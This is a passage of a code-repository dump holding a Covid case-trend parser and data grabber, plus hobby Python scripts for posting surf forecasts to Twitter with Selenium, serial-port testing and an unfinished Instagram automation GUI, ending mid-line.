rec.split(\"[\")[1].split(\"]\")[0].split(\",\")\n for n in dncList:\n try:\n val = int(n) \n dnc1.append(val)\n except:\n dnc1.append(n)\n #print(dateList, len(dateList))\n #print(dnc1, len(dnc1))\n if len(dnc1) != len(dateList):\n print(\"This shit is messed up - datecount not matching value count\")\n break\n return dnc1, dateList\n\ndef GetPeaks(nList, dList):\n #print(\"Get Peaks\")\n #print(nList)\n #print(dList)\n n = len(nList)\n #print(n)\n idx = 0\n while n - idx >= 5: \n try:\n n1 = (float(nList[idx]) + nList[idx + 1] + nList[idx + 2] + nList[idx + 3] + nList[idx + 4]) / 5\n #print(nList[idx:idx+5])\n #print(\"adding\", round(n1,2))\n dnc2.append(round(n1,2))\n except:\n x = 1\n idx = idx + 1\n #print(dnc2)\n\n n2 = len(dnc2)\n idx = 0\n while n2 - idx >= 5: \n n1 = (float(dnc2[idx]) + dnc2[idx + 1] + dnc2[idx + 2] + dnc2[idx + 3] + dnc2[idx + 4] )/ 5\n #print(dnc2[idx:idx+5])\n idx = idx + 1\n #print(\"adding\", round(n1,2))\n dnc3.append(round(n1,2))\n #print(\" \")\n #print(dnc3)\n #print(\" \")\n peakidx = dnc3.index(max(dnc3))\n #print(\"Found at index\", peakidx) \n dateidx = len(dnc3) - peakidx\n regressX = dnc3[peakidx:len(dnc3)]\n #print(regressX)\n regressY = list(range(1,(len(dnc3) - peakidx)+1))\n #print(regressY)\n return regressX, regressY\n\nprint(\" \")\ndnc1, dateList = PrepareLists(inFile)\nregX, regY = GetPeaks(dnc1, dateList)\nprint(regX)\ns = regX[-10:]\nt = regY[:10]\n#x = np.array([s]) \n#y = np.array([t]) \nx = np.array([regX]) \ny = np.array([regY]) \nb = estimate_coef(x, y) \ntarget = 50\n#print(\"Estimated coefficients:\\nb_0 = {} b_1 = {}\".format(b[0], b[1])) \n#X = [5000,4000,1000,800,600,400,200,150,50]\nrem = int(b[0]+b[1]*target)\npeakidx = regX.index(max(regX))\n#print(\"Found at index\", peakidx) \ndateidx = len(regX) - peakidx\n \nprint(sys.argv[1], \": Last data is from\", dateList[-1], \"Peak value is\", max(dnc3),\"which occured on\", dateList[-dateidx],\"; Latest value is\", dnc3[-1],\"; To drop to 50 new cases, days remaining is\", rem - regY[-1])\nprint(\" \")\n\n\n" }, { "alpha_fraction": 0.508230447769165, "alphanum_fraction": 0.5385067462921143, "avg_line_length": 26.658536911010742, "blob_id": "40aaf8068b5ba8adaffa179c1cb96098334bc396", "content_id": "d98719eb3f5fbc062ad012317374fc8e46cc5199", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3402, "license_type": "no_license", "max_line_length": 195, "num_lines": 123, "path": "/coronaParser.py", "repo_name": "prabhu1010/Covid-Tracker", "src_encoding": "UTF-8", "text": "import sys\nimport numpy as np \n\ninFile = sys.argv[1]\ndateList = []\ndnc1 = []\ndnc2 = []\ndnc3 = []\n\ndef IsDecreasingList(l):\n print(l)\n idx = 1\n while idx < len(l):\n if l[idx] > l[idx-1]:\n return 0\n idx = idx + 1\n return 1\n\ndef GetDaysToGo(lst, tgt):\n d = round((tgt-lst[-1]) * (len(lst)-1)/(lst[-1] - lst[0]), 0)\n return d\n\ndef estimate_coef(x, y): \n\t# number of observations/points \n\tn = np.size(x) \n\t# mean of x and y vector \n\tm_x, m_y = np.mean(x), np.mean(y) \n\t# calculating cross-deviation and deviation about x \n\tSS_xy = np.sum(y*x) - n*m_y*m_x \n\tSS_xx = np.sum(x*x) - n*m_x*m_x \n\t# calculating regression coefficients \n\tb_1 = SS_xy / SS_xx \n\tb_0 = m_y - b_1*m_x \n\treturn(b_0, b_1) \n\ndef PrepareLists(inFile):\n found_val = 0\n fp = open(inFile, \"r\")\n for line in fp:\n rec = line.strip().upper()\n\n if \"DAILY NEW CASES\" in rec:\n found_val = 1 \n\n if \"CATEGORIES:\" in rec and found_val == 1:\n dateList = rec.split(\"[\")[1].split(\"]\")[0].split(\",\")\n\n if \"DATA:\" in rec and found_val == 1:\n dncList = rec.split(\"[\")[1].split(\"]\")[0].split(\",\")\n for n in dncList:\n try:\n val = int(n) \n dnc1.append(val)\n except:\n dnc1.append(n)\n #print(dateList, len(dateList))\n #print(dnc1, len(dnc1))\n if len(dnc1) != len(dateList):\n print(\"This shit is messed up - datecount not matching value count\")\n break\n return dnc1, dateList\n\ndef GetPeaks(nList, dList):\n #print(\"Get Peaks\")\n #print(nList)\n #print(dList)\n n = len(nList)\n #print(n)\n idx = 0\n while n - idx >= 5: \n try:\n n1 = (float(nList[idx]) + nList[idx + 1] + nList[idx + 2] + nList[idx + 3] + nList[idx + 4]) / 5\n #print(nList[idx:idx+5])\n #print(\"adding\", round(n1,2))\n dnc2.append(round(n1,2))\n except:\n x = 1\n idx = idx + 1\n #print(dnc2)\n\n n2 = len(dnc2)\n idx = 0\n while n2 - idx >= 5: \n n1 = (float(dnc2[idx]) + dnc2[idx + 1] + dnc2[idx + 2] + dnc2[idx + 3] + dnc2[idx + 4] )/ 5\n #print(dnc2[idx:idx+5])\n idx = idx + 1\n #print(\"adding\", round(n1,2))\n dnc3.append(round(n1,2))\n #print(\" \")\n #print(dnc3)\n #print(\" \")\n peakidx = dnc3.index(max(dnc3))\n #print(\"Found at index\", peakidx) \n dateidx = len(dnc3) - peakidx\n regressX = dnc3[peakidx:len(dnc3)]\n #print(regressX)\n regressY = list(range(1,(len(dnc3) - peakidx)+1))\n #print(regressY)\n return regressX, regressY, dateidx\n\nprint(\" \")\ndnc1, dateList = PrepareLists(inFile)\nregX, regY,dateidx = GetPeaks(dnc1, dateList)\n#print(regX)\n#print(regY)\ntarget = 500\ndays_to_go = int(GetDaysToGo(regX, target))\n#print(days_to_go)\n\nprint(regX)\nprint(sys.argv[1], \": Last data is from\", dateList[-1],\"-\", regX[-1],\"Peak value is\", max(dnc3),\"which occured on\", dateList[-dateidx],\"; Days remaining to drop to\",target,\"cases is\", days_to_go)\nprint(\" \")\n\n''' #USE THIS ONLY IF DATA IS ON A CONSISTENTLY ONE-WAY FALLING PATTERN\ncluster_lengths = [7,14,21,28]\nfor i in cluster_lengths:\n tmplist = regX[-i:]\n tmplist.reverse()\n print(tmplist)\n if IsDecreasingList(tmplist):\n print(\"yes\")\n print(regX[0], regX[-1], regX[0]-regX[-1],i) \n'''\n" }, { "alpha_fraction": 0.7864140868186951, "alphanum_fraction": 0.7909862995147705, "avg_line_length": 79.57894897460938, "blob_id": "ed8a0503e6506f3dbc0d521be80c0ca14b921cc9", "content_id": "9e94a1068e410fc01ed0fa8ddfa497c80b794edf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1531, "license_type": "no_license", "max_line_length": 277, "num_lines": 19, "path": "/README.md", "repo_name": "prabhu1010/Covid-Tracker", "src_encoding": "UTF-8", "text": "<html>\n<body>\n<pre>\nThe purpose of this project was to get a sense of how much of an impact the Coronavirus will have over the countries of US, UK, Italy, Spain and Germany. So how exactly will this impact be measured? What parameters will help us grasp the situation as the cases keep on growing?\n\nI felt that it would make sense to monitor the Daily New Cases in each country as ultimately the fatalities depend on this metric. Also if a country takes the right measures to stop infection from spreading, it will result in a fall of the daily new cases.\n\nSince the infection cycle varies from country to country, it would be useful to look at the falling rate of a country that succeeeds in controlling the infection to an extent. Also, it is evident that the infection cycle goes through three phases:\n\n1) Exponential growth towards the peak\n2) Short duration at a peak while governments try to flatten the curve\n3) Linear(as opposed to exponential) fall in cases due to increased social distancing.\n\nInitially I was looking up the numbers on worldometer.info and copying them manually to a tracking spreadsheet on a daily basis. As time went on, I felt it was better to automate the process whereby:\n1) A bash script pulls the data from worldometer.info and writes to a file\n2) A python script reads the file, determines the peak, traces the numbers following the peak, and uses an Arithmetic Progression model to predict how many days are left until the Daily New Cases metric falls to 50 people a day.\n</pre>\n</body>\n</html>\n" }, { "alpha_fraction": 0.5614973306655884, "alphanum_fraction": 0.5614973306655884, "avg_line_length": 27.769229888916016, "blob_id": "2543453b9f3e5be4552b979d2aab03c1de845520", "content_id": "5a2f70777705d10e789f1304e017d48d7a0f565b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 374, "license_type": "no_license", "max_line_length": 73, "num_lines": 13, "path": "/coronaGrabber.sh", "repo_name": "prabhu1010/Covid-Tracker", "src_encoding": "UTF-8", "text": "for nation in \"uk\" \"us\" \"italy\" \"spain\" \"germany\"\n do\n URL=\"https://www.worldometers.info/coronavirus/country/\"${nation}\n wget -O ${nation}.txt -nv \"$URL\"\n done\nfor nation in \"uk\" \"us\" \"italy\" \"spain\" \"germany\"\n#for nation in \"uk\" \n do\n if test -s ${nation}.txt\n then\n python coronaParser.py ${nation}.txt\n fi\n done\n" } ]
4
ebarrio/Python
https://github.com/ebarrio/Python
21a8fbd8e0874989b253801557334207761b817a
ab18f41c8e842e217a05f23ae30e1a1662615770
f1c1cbeb4770e09903485111de08412f057e7b13
refs/heads/master
2020-07-14T02:01:10.739424
2019-12-01T12:34:32
2019-12-01T12:34:32
205,208,018
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5466545224189758, "alphanum_fraction": 0.5700955986976624, "avg_line_length": 41.07843017578125, "blob_id": "af9419175e233c3398a1d7945fdf2550554c1a56", "content_id": "e28ac29e0418cd3fe8a4d212f6356e958a2b2937", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4399, "license_type": "no_license", "max_line_length": 153, "num_lines": 102, "path": "/Twitter + weather predictions/weather_data_bot.py", "repo_name": "ebarrio/Python", "src_encoding": "UTF-8", "text": "from weather_miner_bot import Weather_Miner_Bot\r\nfrom selenium import webdriver\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.common.exceptions import ElementClickInterceptedException\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\nimport os\r\nimport time\r\n\r\nsecs_delay = 1\r\n\r\nclass Twitter_Bot:\r\n def __init__(self, acc, passw):\r\n self.driver = webdriver.Chrome('chromedriver.exe')\r\n self.driver.minimize_window()\r\n self.acc = acc\r\n self.passw = passw\r\n self.Weather_bot = Weather_Miner_Bot()\r\n self.Weather_bot.refresh_data()\r\n self.fechas = self.Weather_bot.get_fechas()\r\n self.altura = self.Weather_bot.get_metros()\r\n self.viento = self.Weather_bot.get_viento()\r\n self.Weather_bot.clear()\r\n print(self.fechas)\r\n \r\n def print_all_data(self):\r\n print(\"\\n ---------------- FECHAS ALMACENADAS ------------------- \\n\")\r\n print(self.fechas)\r\n print(\"\\n ----------- ALTURAS DE LAS OLAS ALMACENADAS ----------- \\n\")\r\n print(self.altura)\r\n print(\"\\n--------- VELOCIDAD DEL VIENTO ALMACENADAS ------------- \\n\")\r\n print(self.viento)\r\n\r\n def get_altura_maxima(self, pos_inicio, pos_final):\r\n max = self.altura[pos_inicio]\r\n pos = pos_inicio\r\n for i in range(pos_inicio,pos_final):\r\n if(max < self.altura[i]):\r\n max = self.altura[i]\r\n pos = i\r\n return pos\r\n def weather_to_post(self):\r\n post = []\r\n day1 = self.get_altura_maxima(1,24)\r\n day2 = self.get_altura_maxima(25,48)\r\n day3 = self.get_altura_maxima(48,72)\r\n print(day3)\r\n a = [self.fechas[day1], self.altura[day1], self.viento[day1]]\r\n post.append(a)\r\n b = [self.fechas[day2], self.altura[day2], self.viento[day2]]\r\n post.append(b)\r\n c = [self.fechas[day3], self.altura[day3], self.viento[day3]]\r\n post.append(c)\r\n return post\r\n def get_tweet_strings(self):\r\n tweets = []\r\n data = self.weather_to_post()\r\n\r\n tweet_1 = data[0][0][:10] + \": La mejor hora para surfear hoy es las \" + data[0][0][11:16]\r\n tweet_1 += \". Habrá olas de \" + data[0][1] + \" metros con un viento de \" + data[0][2] + \" m/s.\"\r\n\r\n tweet_2 = data[1][0][:10] + \": Para mañana el pronostico de olas es \"\r\n tweet_2 += \"de \" + data[1][1] + \" metros con un viento de \" + data[1][2] + \" m/s \"\r\n tweet_2 += \"a las \" + data[1][0][11:16] + \" horas.\"\r\n\r\n tweet_3 = data[2][0][:10] + \": Pasado mañana la mejor hora para surfear según las predicciones meteorologicas serán las \" + data[2][0][11:16]\r\n tweet_3 += \". Las olas tendran una altura de \" + data[2][1] + \" metros con un viento de \" + data[2][2] + \" m/s.\"\r\n\r\n print(tweet_1)\r\n print(tweet_2)\r\n print(tweet_3)\r\n\r\n tweets = [tweet_1, tweet_2, tweet_3]\r\n return(tweets)\r\n\r\n def post_tweets(self):\r\n tweets = self.get_tweet_strings()\r\n self.driver.maximize_window()\r\n self.driver.get('https://tweetdeck.twitter.com')\r\n time.sleep(secs_delay)\r\n self.driver.find_element_by_xpath('/html/body/div[1]/div[3]/div/div[2]/section/div[1]/a').click()\r\n time.sleep(secs_delay)\r\n self.driver.find_element_by_xpath('//*[@id=\"react-root\"]/div/div/div[2]/main/div/div/form/div/div[1]/label/div[2]/div/input').send_keys(self.acc)\r\n time.sleep(secs_delay)\r\n p = self.driver.find_element_by_xpath('//*[@id=\"react-root\"]/div/div/div[2]/main/div/div/form/div/div[2]/label/div[2]/div/input')\r\n p.send_keys(self.passw)\r\n time.sleep(secs_delay)\r\n p.send_keys(Keys.ENTER)\r\n \r\n\r\n for i in range(len(tweets)):\r\n time.sleep(2*secs_delay)\r\n bt = self.driver.find_element_by_xpath('/html/body/div[3]/header/div/button/i')\r\n bt.click()\r\n time.sleep(secs_delay)\r\n tweet_box = self.driver.find_element_by_xpath('/html/body/div[3]/div[2]/div[1]/div/div/div/div/div[1]/div[7]/textarea')\r\n tweet_box.send_keys(tweets[i])\r\n time.sleep(secs_delay)\r\n self.driver.find_element_by_xpath('/html/body/div[3]/div[2]/div[1]/div/div/div/div/div[1]/div[12]/div/div/button').click()\r\n\r\nTw_bot = Twitter_Bot('@PronosticosSurf' , '<-- Follow me')\r\nTw_bot.post_tweets()\r\n" }, { "alpha_fraction": 0.6037441492080688, "alphanum_fraction": 0.6154446005821228, "avg_line_length": 28.4761905670166, "blob_id": "1acfb73bb83329e375f7021dbbaed30251b02037", "content_id": "f14939706eef9b6b3c2183f06a1d422507710314", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1282, "license_type": "no_license", "max_line_length": 107, "num_lines": 42, "path": "/Twitter + weather predictions/weather_miner_bot.py", "repo_name": "ebarrio/Python", "src_encoding": "UTF-8", "text": "from selenium import webdriver\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.common.exceptions import ElementClickInterceptedException\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\nimport os\r\nimport time\r\n\r\nsecs_delay = 1\r\n\r\n\r\nclass Weather_Miner_Bot:\r\n def __init__ (self):\r\n self.driver = webdriver.Chrome('chromedriver.exe')\r\n self.fecha = []\r\n self.metros = []\r\n self.viento = []\r\n time.sleep(secs_delay)\r\n self.driver.maximize_window()\r\n time.sleep(secs_delay)\r\n\r\n def refresh_data(self):\r\n self.driver.get('https://bancodatos.puertos.es/TablaAccesoSimplificado/?p=622028053&name=Valencia')\r\n time.sleep(secs_delay)\r\n raw_data = self.driver.find_elements_by_class_name('datacell')\r\n for i in range(0, len(raw_data) - 8 ,8):\r\n if(raw_data[i].text != ''):\r\n self.fecha.append(raw_data[i].text)\r\n self.viento.append(raw_data[i+2].text)\r\n self.metros.append(raw_data[i+4].text)\r\n\r\n def get_fechas(self):\r\n return self.fecha\r\n\r\n def get_metros(self):\r\n return self.metros\r\n\r\n def get_viento(self):\r\n return self.viento\r\n\r\n def clear(self):\r\n self.driver.close()\r\n\r\n" }, { "alpha_fraction": 0.5318007469177246, "alphanum_fraction": 0.5609195232391357, "avg_line_length": 25.22916603088379, "blob_id": "c57fed032c070b84f8ae39892e0fc14e22692378", "content_id": "9742fdaaea4a4ec8760a1cb81105247d0cb4d705", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1305, "license_type": "no_license", "max_line_length": 71, "num_lines": 48, "path": "/PYSERIAL - PYNQ/virtual_serial_port_echo.py", "repo_name": "ebarrio/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\n\r\n --------- VIRTUAL SERIAL PORT DRIVER (VSPD) PYTHON TESTER ---------\r\n\r\n - Run VSPD and pair defined SERIAL_PORT_1 with SERIAL_PORT_2\r\n - Install with pip pyserial and run the python file\r\n\r\n\"\"\"\r\nimport serial\r\nimport time\r\nimport threading\r\nimport sys\r\nSERIAL_MSG = 'hello world'\r\nSERIAL_MSG_BYTES = len(SERIAL_MSG)\r\nSERIAL_PORT_1 = 'COM1'\r\nSERIAL_PORT_2 = 'COM2'\r\nSERIAL_BAUD = 115200\r\n\r\ndef serial_echo_thread():\r\n ser1.write(SERIAL_MSG.encode())\r\n while(True):\r\n if(ser1.isOpen() and ser2.isOpen()):\r\n time.sleep(0.5)\r\n if(ser2.inWaiting()>0):\r\n msg_read = ser2.read(SERIAL_MSG_BYTES)\r\n print(msg_read)\r\n ser2.write(msg_read)\r\n time.sleep(0.5)\r\n if(ser1.inWaiting()>0):\r\n msg_read = ser1.read(SERIAL_MSG_BYTES)\r\n print(msg_read)\r\n ser1.write(msg_read)\r\n \r\n\r\nif __name__ == \"__main__\" :\r\n ser1 = serial.Serial(SERIAL_PORT_1,SERIAL_BAUD)\r\n ser2 = serial.Serial(SERIAL_PORT_2,SERIAL_BAUD)\r\n time.sleep(1)\r\n th_1 = threading.Thread(target = serial_echo_thread)\r\n\r\n th_1.start()\r\n time.sleep(60)\r\n\r\n ser1.close()\r\n ser2.close()\r\n print('Program finish')\r\n #raise Exception('Program finish')\r\n sys.exit()" }, { "alpha_fraction": 0.5783866047859192, "alphanum_fraction": 0.6042618155479431, "avg_line_length": 22.33333396911621, "blob_id": "b2d8f25819c61a216fe801db0c0b34e062fb4788", "content_id": "c41e71708c223ff0409da4db5426abd10f9d4799", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 657, "license_type": "no_license", "max_line_length": 56, "num_lines": 27, "path": "/PYSERIAL - PYNQ/pynq_uart-serial.py", "repo_name": "ebarrio/Python", "src_encoding": "UTF-8", "text": "\r\ntry:\r\n import serial\r\nexcept ImportError:\r\n print('Pyserial s not installed.')\r\n raise\r\nimport time\r\nimport threading\r\n\r\nSERIAL_MSG_BYTES = 3\r\nSERIAL_PORT = 'COM11'\r\nSERIAL_BAUD = 115200\r\n\r\ndef serial_read_thread():\r\n while(True):\r\n if(zynq_uart.inWaiting()>0):\r\n msg_read = zynq_uart.read(SERIAL_MSG_BYTES)\r\n print(msg_read)\r\n time.sleep(0.5)\r\n\r\nif __name__ == \"__main__\" :\r\n zynq_uart = serial.Serial(SERIAL_PORT,SERIAL_BAUD)\r\n time.sleep(1)\r\n th_1 = threading.Thread(target = serial_read_thread)\r\n th_1.start()\r\n time.sleep(10)\r\n zynq_uart.close()\r\n raise Exception('Program finish')" }, { "alpha_fraction": 0.6266094446182251, "alphanum_fraction": 0.64361172914505, "avg_line_length": 36.10062789916992, "blob_id": "9d7144b55c7bc449833d05d6067adf56be251302", "content_id": "a1f5668464b1700ebf67ec31144d742446d50c72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6085, "license_type": "no_license", "max_line_length": 174, "num_lines": 159, "path": "/IG-Python-bot-master/GUI_IG_bot/EB_Automation_App.pyw", "repo_name": "ebarrio/Python", "src_encoding": "UTF-8", "text": "# NOT FINISHED\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nfrom frame import *\r\nclass Season:\r\n def __init__(self,user,password):\r\n self.user = user\r\n self.password = password\r\n self.run_likes = False\r\n self.run_follows = False\r\n self.run_unfollows = False\r\n \r\n \r\n def print(self):\r\n print('Run likes:' + str(self.run_likes))\r\n print('Run follows:' + str(self.run_follows))\r\n print('Run unfollows:' + str(self.run_unfollows))\r\n\r\nuser_season = Season(\"eladio\", \"barrio\")\r\n# Generamos la ventana\r\nroot = Tk()\r\n\r\n#Cambiamos nombre de la ventana\r\nroot.title(\"Eladio application\")\r\n\r\n#Bloqueamos el cambio de tamaño de la ventana\r\nroot.resizable(True,True)\r\n\r\n#Cambiamos color del fondo\r\n#root.config(bg=\"white\", width = 300, height = 300)\r\n\r\n\r\n# Configuración barra de menu superior\r\nbarra_menu = Menu(root)\r\nroot.config(menu=barra_menu)\r\n\r\n# Opción Archivo\r\narchivo_menu_1 = Menu(barra_menu, tearoff = 0)\r\nbarra_menu.add_cascade(label = \"Archivo\", menu=archivo_menu_1)\r\n#Subopciones de Archivo\r\narchivo_menu_1.add_command(label = \"Nueva sesión\", command = frame_com_nueva_sesion)\r\n\r\ndef launch_frame_com_cargar_sesion():\r\n #user_season = frame_com_cargar_sesion()\r\n pass\r\n\r\narchivo_menu_1.add_command(label = \"Cargar sesión\", command = launch_frame_com_cargar_sesion)\r\narchivo_menu_1.add_command(label = \"Guardar sesión\", command = frame_com_guardar_sesion)\r\narchivo_menu_1.add_command(label = \"Guardar sesión como...\", command = frame_com_guardar_sesion_como)\r\n#Añadimos linea separacion\r\narchivo_menu_1.add_separator()\r\narchivo_menu_1.add_command(label = \"Cerrar\")\r\n\r\ndef com_salir():\r\n valor_seleccionado = messagebox.askquestion('Salir','¿Quieres salir del programa?')\r\n if(valor_seleccionado == 'yes'):\r\n root.destroy()\r\narchivo_menu_1.add_command(label = \"Salir\", command = com_salir)\r\n\r\n# Opción Edición\r\narchivo_menu_2 = Menu(barra_menu, tearoff = 0)\r\nbarra_menu.add_cascade(label = \"Edición\", menu=archivo_menu_2)\r\narchivo_menu_2.add_command(label = \"Deshacer\")\r\narchivo_menu_2.add_command(label = \"Rehacer\")\r\n#Añadimos linea separacion\r\narchivo_menu_2.add_separator()\r\narchivo_menu_2.add_command(label = \"Copiar\")\r\narchivo_menu_2.add_command(label = \"Cortar\")\r\narchivo_menu_2.add_command(label = \"Pegar\")\r\n\r\n\r\n# Opción Herramientas\r\narchivo_menu_3 = Menu(barra_menu, tearoff = 0)\r\nbarra_menu.add_cascade(label = \"Herramientas\", menu=archivo_menu_3)\r\narchivo_menu_3.add_command(label = \"Ocultar/Mostrar herramientas\")\r\n\r\n# Opción Ayudas\r\n#Función para mostrar ventana emergente de Acerca de...\r\ndef com_licencia():\r\n messagebox.showwarning('Información de la licencia','Producto bajo licencia EJEMPLO')\r\narchivo_menu_4 = Menu(barra_menu, tearoff = 0)\r\nbarra_menu.add_cascade(label = \"Ayudas\", menu=archivo_menu_4)\r\narchivo_menu_4.add_cascade(label = \"Licencia\", command = com_licencia)\r\n\r\n#Función para mostrar ventana emergente de Acerca de...\r\ndef com_acerca_de():\r\n messagebox.showinfo('Información adicional','Informacion de ejemplo')\r\narchivo_menu_4.add_cascade(label = \"Acerca de...\", command = com_acerca_de)\r\n\r\n\r\n#CONFIGURACIÓN DE LA SESIÓN DE INSTAGRAM:\r\nframe = Frame(root)\r\nframe.pack()\r\nframe4_banda = Frame(root)\r\nframe4_banda.pack()\r\nframe2 = Frame(root)\r\nframe2.pack()\r\n\"\"\"\r\nframe.config(bg = \"black\")\r\nframe.config(width = \"300\", height = \"300\")\r\n\"\"\"\r\n\r\nlogo_programa = PhotoImage(file = \"logoebq.png\")\r\n\r\nLabel(frame, image = logo_programa).grid(row = 1, column = 1)\r\nLabel(frame, text = \"EBQ Automation Product\", font = 50).grid(row = 1, column = 2)\r\nLabel(frame, text = ' ').grid(row = 1, column = 4)\r\nLabel(frame, text = ' ').grid(row = 6, column = 4)\r\nLabel(frame, text=\"Elige acciones a realizar en las cuentas de Instagram:\").grid(row = 2, column = 2)\r\n#Selección configuración de la sesion de Instagram\r\nchecked_follow = IntVar()\r\nchecked_unfollow = IntVar()\r\nchecked_like = IntVar()\r\n\r\ndef com_check_insta_op():\r\n if(checked_follow.get() == 1):\r\n user_season.run_follows = True\r\n else:\r\n user_season.run_follows = False\r\n\r\n if(checked_unfollow.get() == 1):\r\n user_season.run_unfollows = True\r\n else:\r\n user_season.run_unfollows = False\r\n\r\n if(checked_like.get() == 1):\r\n user_season.run_likes = True\r\n else:\r\n user_season.run_likes = False\r\n \r\nCheckbutton(frame, text = \"Follow\", variable = checked_follow, onvalue = 1, offvalue = 0, command = com_check_insta_op).grid(sticky = 'W', row = 4, column = 2)\r\nCheckbutton(frame, text = \"Unfollow\", variable = checked_unfollow, onvalue = 1, offvalue = 0, command = com_check_insta_op).grid(sticky = 'W', row = 5, column = 2)\r\nCheckbutton(frame, text = \"Like\", variable = checked_like, onvalue = 1, offvalue = 0, command = com_check_insta_op).grid(sticky = 'W', row = 3, column = 2)\r\n\r\n#Boton ejecutrar sesión\r\ndef com_ejecutrar_sesion():\r\n user_season.print()\r\nButton(frame, text = \"Ejecutar sesión\", command = com_ejecutrar_sesion).grid(row = 4, column = 3)\r\n\r\n#Barra negra decorativa\r\nLabel(frame4_banda, bg = 'black', text= ' ').pack()\r\n#Frame de mostrar valores\r\nLabel(frame2, text = 'Numero de cuentas:').grid(row=1, column = 1)\r\nEntry(frame2).grid(row=1, column = 2)\r\n\r\nLabel(frame2, text = 'Numero de likes:').grid(row=2, column = 1)\r\nEntry(frame2).grid(row=2, column = 2)\r\n\r\nLabel(frame2, text = 'Numero de follows:').grid(row=3, column = 1)\r\nEntry(frame2).grid(row=3, column = 2)\r\n\r\nLabel(frame2, text = 'Numero de unfollows:').grid(row=4, column = 1)\r\nEntry(frame2).grid(row=4, column = 2)\r\n\r\nframe3 = Frame(root)\r\nframe3.pack()\r\nLabel(frame3, text = 'Inicia sesión para modificar parametros').grid(row=1, column = 1)\r\n#Bucle de la ventana (Despues de la inicialización)\r\nroot.mainloop()\r\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.760869562625885, "avg_line_length": 29.66666603088379, "blob_id": "d6f4e47c50d9bb66a9b30b701318c8f49c39a875", "content_id": "f114466195088225cfb24ccac03fcd1aef8f4322", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 92, "license_type": "no_license", "max_line_length": 58, "num_lines": 3, "path": "/IG-Python-bot-master/README.md", "repo_name": "ebarrio/Python", "src_encoding": "UTF-8", "text": "Need it:\n- pip3 install selenium\n- [Chrome.exe](http://chromedriver.chromium.org/downloads)\n" }, { "alpha_fraction": 0.5627376437187195, "alphanum_fraction": 0.5731939077377319, "avg_line_length": 31.600000381469727, "blob_id": "abdb031abe05c7246100b702764b0c0eb9ebb244", "content_id": "7b941353a880c9ba09edfdfd4c92f4a506986069", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4234, "license_type": "no_license", "max_line_length": 125, "num_lines": 125, "path": "/IG-Python-bot-master/GUI_IG_bot/frame.py", "repo_name": "ebarrio/Python", "src_encoding": "UTF-8", "text": "from tkinter import *\r\nfrom tkinter import messagebox\r\nimport pandas as pd\r\nfrom pandas import DataFrame\r\n\r\nclass Sesion:\r\n def __init__(self,user,password):\r\n self.user = user\r\n self.password = password\r\n\r\n self.loaded = False\r\n\r\n self.num_acounts = 0\r\n self.num_likes = 10\r\n self.num_follows = 10\r\n self.num_unfollows = 10\r\n\r\n self.acounts = []\r\n def new_data_base(self):\r\n print('Create csv file')\r\n def save_data_base(self):\r\n print('Save data in csv')\r\n def load_data_base(self):\r\n self.loaded = True\r\n read = pd.read_csv(self.user + '.csv')\r\n read_dict = read.to_dict()\r\n contraseña_sesion = read_dict.get('Sespass')\r\n self.num_acounts = len(contraseña_sesion)\r\n if (contraseña_sesion[0] == self.password):\r\n print('Correct pass')\r\n self.cuentas = read_dict.get('Cuenta')\r\n self.contraseñas = read_dict.get('Contraseña')\r\n self.hastags = read_dict.get('Hastags')\r\n\r\n to_write = {\r\n 'Cuenta' : self.cuentas,\r\n 'Constraseña' : self.contraseñas,\r\n 'Hastags' : self.hastags\r\n }\r\n df = DataFrame(to_write)\r\n df.to_csv('saved.csv', index = False)\r\nif __name__ == '__main__':\r\n user_season = Sesion('Eladio', 'Barrio')\r\n user_season.load_data_base()\r\n\r\n#NUEVA SESIÓN\r\ndef frame_com_nueva_sesion():\r\n \r\n ns_raiz = Tk()\r\n ns_raiz.title(\"Nueva sesión\")\r\n ns_frame = Frame(ns_raiz)\r\n ns_frame.pack()\r\n\r\n Label(ns_frame, text = 'Nombre de la nueva sesión:').grid(sticky = 'W', row = 1, column = 1)\r\n Label(ns_frame, text = 'Contraseña de la nueva sesión:').grid(sticky = 'W', row = 2, column = 1)\r\n\r\n user_sesion = StringVar()\r\n pass_sesion = StringVar()\r\n user_entry = Entry(ns_frame, textvariable = user_sesion)\r\n user_entry.grid(sticky = 'W', row = 1, column = 2)\r\n pass_entry = Entry(ns_frame, textvariable = pass_sesion)\r\n pass_entry.grid(sticky = 'W', row = 2, column = 2)\r\n\r\n Label(ns_frame, text = ' ').grid(row = 1, column = 3)\r\n\r\n def com_crear_sesion():\r\n user = user_entry.get()\r\n passw = pass_entry.get()\r\n print('Usuario:' + user + '\\n' + 'Contraseña:' + passw)\r\n ns_raiz.destroy()\r\n\r\n Button(ns_frame,width = 10, text = \"Crear sesión\", command = com_crear_sesion).grid(sticky = 'W', row = 1, column = 4)\r\n\r\n def com_cancelar():\r\n ns_raiz.destroy()\r\n\r\n Button(ns_frame,width = 10, text = \"Cancelar\", command = com_cancelar).grid(sticky = 'W', row = 2, column = 4)\r\n\r\n\r\n ns_raiz.mainloop()\r\n\r\n\r\n#CARGAR SESIÓN\r\ndef frame_com_cargar_sesion():\r\n cs_raiz = Tk()\r\n cs_raiz.title(\"Cargar sesión\")\r\n cs_frame = Frame(cs_raiz)\r\n cs_frame.pack()\r\n Label(cs_frame, text = 'Nombre de la sesión:').grid(sticky = 'W', row = 1, column = 1)\r\n Label(cs_frame, text 